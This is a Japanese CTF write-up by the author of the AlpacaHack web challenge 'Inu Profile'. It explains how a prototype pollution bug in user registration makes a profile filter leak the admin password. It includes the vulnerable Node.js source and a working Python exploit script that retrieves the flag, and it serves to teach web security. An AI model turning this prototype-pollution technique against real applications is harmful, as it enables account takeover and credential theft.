st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

Daily AlpacaHack B-SIDE (2/1-4)で出題した問題(Inu Profile)の解説

AlpacaHackでは、昨年12月からDaily AlpacaHackという取り組みがなされており、ここでは毎日1問ずつ初心者でも楽しめる問題が出題されています。2月に入ってから、それよりは高難易度である問題を数日おきに出題していくB面が始まりました。

このB面で、2/1 - 2/4にかけてWebの問題であるInu Profileを出題しました(といいつつも、出題期間が終了した今ももちろん過去問として遊べます)ので、本記事では作問者の視点で想定していた解法やその意図を紹介したいと思います。


概要

犬のプロフィールを作成できるWebアプリを公開しました。

I made a Web application that dogs can introduce themselves.

添付ファイル: inu-profile.tar.gz

添付ファイルを展開して docker compose up -d --build するか、AlpacaHackプラットフォームの "Spawn Challenge Server" ボタンから問題サーバを立ち上げます。サーバにアクセスすると、犬が自身のプロフィールを登録できるWebアプリが表示されます。

登録後は、POST /login から認証情報を使ってログインしたり、GET /profile/(ユーザ名) から自身やほかの犬のプロフィールが確認できるようになります。

ソースコードを読んでいきましょう。次のようなファイルが与えられています。

$ tree .
.
├── compose.yaml
└── web
    ├── Dockerfile
    ├── index.html
    ├── index.js
    ├── package-lock.json
    └── package.json

1 directory, 6 files

compose.yaml は次のとおりです。環境変数の FLAG にフラグが設定されていることがわかります。

services:
  inu-profile:
    build: ./web
    restart: unless-stopped
    init: true
    ports:
      - ${PORT:-3000}:3000
    environment:
      - FLAG=Alpaca{REDACTED}

最も重要である index.js を読んでいきましょう。132行とそこそこ長めですので、少しずつ読んでいきます。まずは、フラグがどこで参照されているかを確認して、この問題のゴールを把握しましょう。

FLAG で検索すると、次の箇所で参照されていることがわかります。admin としてログインすればフラグがもらえるようです。

const FLAG = process.env.FLAG || 'Alpaca{DUMMY}';
// ...
// become admin to get the flag!
app.get('/admin', async (req, res) => {
    const { username } = req.session;
    if (!req.session.hasOwnProperty('username') || username !== 'admin') {
        return res.send({ 'message': 'you are not an admin...' });
    }

    return res.send({ 'message': `Congratulations! The flag is: ${FLAG}` });
});

users という変数にユーザのプロフィールやパスワード(平文!)が保存されています。最初から admin というユーザが登録されていますが、そのパスワードはランダムなhex文字列であり、推測できそうにありません。

let users = {
    admin: {
        password: crypto.randomBytes(16).toString('hex'),
        avatar: '\u{1f32d}',
        description: 'I am admin!'
    }
};

先述のように、GET /profile/(ユーザ名) から各ユーザのプロフィールが閲覧できます。getFilteredProfile がややトリッキーな処理をしているように見えますが、これは外部に露出するとマズいパスワードを弾く関数です。

DEFAULT_PROFILE というオブジェクトは、ユーザ登録時に何も入力されなかった項目について、その名の通りそのデフォルト値を設定するために使われます。getFilteredProfile では、「DEFAULT_PROFILE に含まれているキーであれば、それは外部に露出させても構わない情報である」という形で使われています。

const DEFAULT_PROFILE = {
    'avatar': '\u{1f436}',
    'description': 'bow wow!'
};
// …
// omit credentials
function getFilteredProfile(username) {
    const profile = users[username];
    const filteredProfile = Object.entries(profile).filter(([k]) => {
        return k in DEFAULT_PROFILE; // default profile has the key, so we can expose this key
    });
    
    return Object.fromEntries(filteredProfile);
}

app.get('/profile', async (req, res) => {
    const { username } = req.session;
    if (username == null) {
        return res.send({ 'message': 'please log in' });
    }

    return res.send(getFilteredProfile(username));
});

app.get('/profile/:username', async (req, res) => {
    const { username } = req.params;

    if (!users.hasOwnProperty(username)) {
        return res.send({ 'message': `${username} does not exist` });
    }

    return res.send(getFilteredProfile(username));
});

色々なアプローチ

さて、どうすれば admin としてログインできるでしょうか。

admin としてログインしたいわけですが、その登録やログインの処理に問題はないでしょうか。まず、すでに登録されているユーザ名であっても使用できる、つまり admin というユーザ名で登録すると元々のユーザの情報を置き換えて登録できるのではないかということを考えますが、残念ながら users.hasOwnProperty(username) によってチェックされています。NFKCによる正規化等の妙な処理により、adminadmin がその時々により別のアカウントだったり、同じアカウントだったりとして扱われるということもありません。

app.post('/register', async (req, res) => {
    const { username, password, profile } = req.body;

    if (username == null || password == null || profile == null) {
        return res.send({ 'message': `username, password, or profile is not provided` });
    }

    // no hack, please
    if (typeof username !== 'string' || typeof password !== 'string') {
        return res.send({ 'message': 'what are you doing?' });
    }

    if (users.hasOwnProperty(username)) {
        return res.send({ 'message': `${username} is already registered` });
    }

    // set default value for some keys if the profile given doesn't have it
    users[username] ??= { password, ...DEFAULT_PROFILE };

    // okay, let's update the database
    for (const key in profile) {
        users[username][key] = profile[key];
    };

    req.session.username = username;
    return res.send({ 'message': 'ok' });
});

ログインの処理でも、パスワードの検証が甘かったり(タイミング攻撃ができるとか、比較処理がおかしく実際には異なる文字列同士であっても同一であると判定するとか)、ユーザ名やパスワードに配列等の文字列以外を投げることで妙な挙動をとったりしないか、と考えますが、妙な実装ではありません。

app.post('/login', async (req, res) => {
    const { username, password } = req.body;

    if (username == null || password == null) {
        return res.send({ 'message': `username, or password is not provided` });
    }

    // no hack, please
    if (typeof username !== 'string' || typeof password !== 'string') {
        return res.send({ 'message': 'what are you doing?' });
    }

    if (!users.hasOwnProperty(username)) {
        return res.send({ 'message': `${username} does not exist` });
    }

    if (users[username].password !== password) {
        return res.send({ 'message': 'password does not match' });
    }

    req.session.username = username;
    return res.send({ 'message': 'ok' });
});

このWebアプリでは、現在ログインしているユーザがセッションに保存されており、これをもとに /profile でそのプロフィールが表示されます。このセッションを偽造することはできないでしょうか。セッションの利用のために @fastify/session というミドルウェアが用いられていますが、そのキーは crypto.randomBytes(16).toString('hex') であり、予測ができません。

/profile/admin にアクセスすると admin のプロフィールが得られますが、そこにパスワードは含まれないかと考えます。残念ながら、先述のように getFilteredProfile によって DEFAULT_PROFILE に含まれるキー、つまり avatardescription しか返ってきません。

Prototype Pollution

重要な脆弱性はここにあります。これは登録処理の一部ですが、ユーザ名に __proto__ を指定することで、Object.prototype の任意のプロパティを操作できます。

    // okay, let's update the database
    for (const key in profile) {
        users[username][key] = profile[key];
    };

このような脆弱性をPrototype Pollutionと呼びますが、以下のようにわかりやすいWebページがいくつもありますので、説明はそれらに譲ります。

このPrototype Pollutionは何に活かせるでしょうか。Object.prototype.password に適当な文字列を入れることで、admin のパスワードを書き換えられる…? と一瞬考えますが、ログイン時に参照されるパスワードとは users[username].password であり、users['admin']password というプロパティを当然持ちますので、プロトタイプチェーンを遡っていくことはなく、Object.prototype.password を参照しません。

重要なのは、プロフィールの表示時にパスワード等を取り除くこの処理です。k in DEFAULT_PROFILE という処理で DEFAULT_PROFILE にプロパティが存在しているかを確認していますが、in 演算子は HasOwnProperty ではなく HasProperty によって確認します。つまり、DEFAULT_PROFILE 自身が持っているかどうかだけでなく、そのプロトタイプチェーンを辿って確認します。ですから、Object.prototypepassword というプロパティが存在していれば、プロフィールの表示時にパスワードは取り除かれません。

// omit credentials
function getFilteredProfile(username) {
    const profile = users[username];
    const filteredProfile = Object.entries(profile).filter(([k]) => {
        return k in DEFAULT_PROFILE; // default profile has the key, so we can expose this key
    });
    
    return Object.fromEntries(filteredProfile);
}

解く

ここまでで、Prototype Pollutionによって Object.prototypepassword というプロパティを追加することで、GET /profile/admin でのプロフィールの表示時にパスワードが取り除かれないということがわかりました。次のような手順で、フラグが取得できるはずです:

  1. __proto__ というユーザ名で登録し、Prototype Pollutionを起こす
    • これにより、Object.prototype.password が定義される
  2. /profile/admin にアクセスして admin のパスワードを得る
  3. 得られた認証情報で admin としてログインする
  4. フラグを得る

できあがったexploitは次のとおりです。

import os
import uuid
import httpx

HOST = os.getenv("HOST", "localhost")
PORT = int(os.getenv("PORT", 3000))

with httpx.Client(base_url=f"http://{HOST}:{PORT}") as client:
    client.post('/login', json={
        'username': 'admin',
        'password': str(uuid.uuid4())
    })

    client.post('/register', json={
        'username': '__proto__',
        'password': str(uuid.uuid4()),
        'profile': { 'password': 123 }
    })

    password = client.get('/profile/admin').json()['password']
    client.post('/login', json={
        'username': 'admin',
        'password': password
    })
    print(client.get('/admin').json())

実行するとフラグが得られました。

Alpaca{the_best_dog_in_the_world_is_custom-kun}

作問の背景

Prototype PollutionはCTFでたまに出ますが、どこでPrototype Pollutionができるかや、どのプロパティを汚染するとXSSやRCE等に持ち込めるかが重要になりがちかと思います。ライブラリ等に存在するgadgetは探す必要のない、このアプリの index.js 内で完結するシンプルな問題が作りたいという気持ちから、この問題ができあがりました。たぶん。

この問題が作られたのは、なんと2024年の11月末です。元々はAlpacaHack Round 7に出題予定だったのですが、諸般の事情により一度お蔵入りとなり、それから1年近く経ってDaily AlpacaHackに出題するという話が持ち上がったものの、そちらに出すにしては難しいという事情でもう一度延期となり、最終的にB面で出題されたという経緯があります。

試しにGemini 3 Proに投げてみたところ、特にユーザによる補助がなくとも、単に「解いてください」と言うだけで完璧なソルバを出してきて感動しました。そろそろ、LLMに解かれない問題を作れる自信がなくなってきました。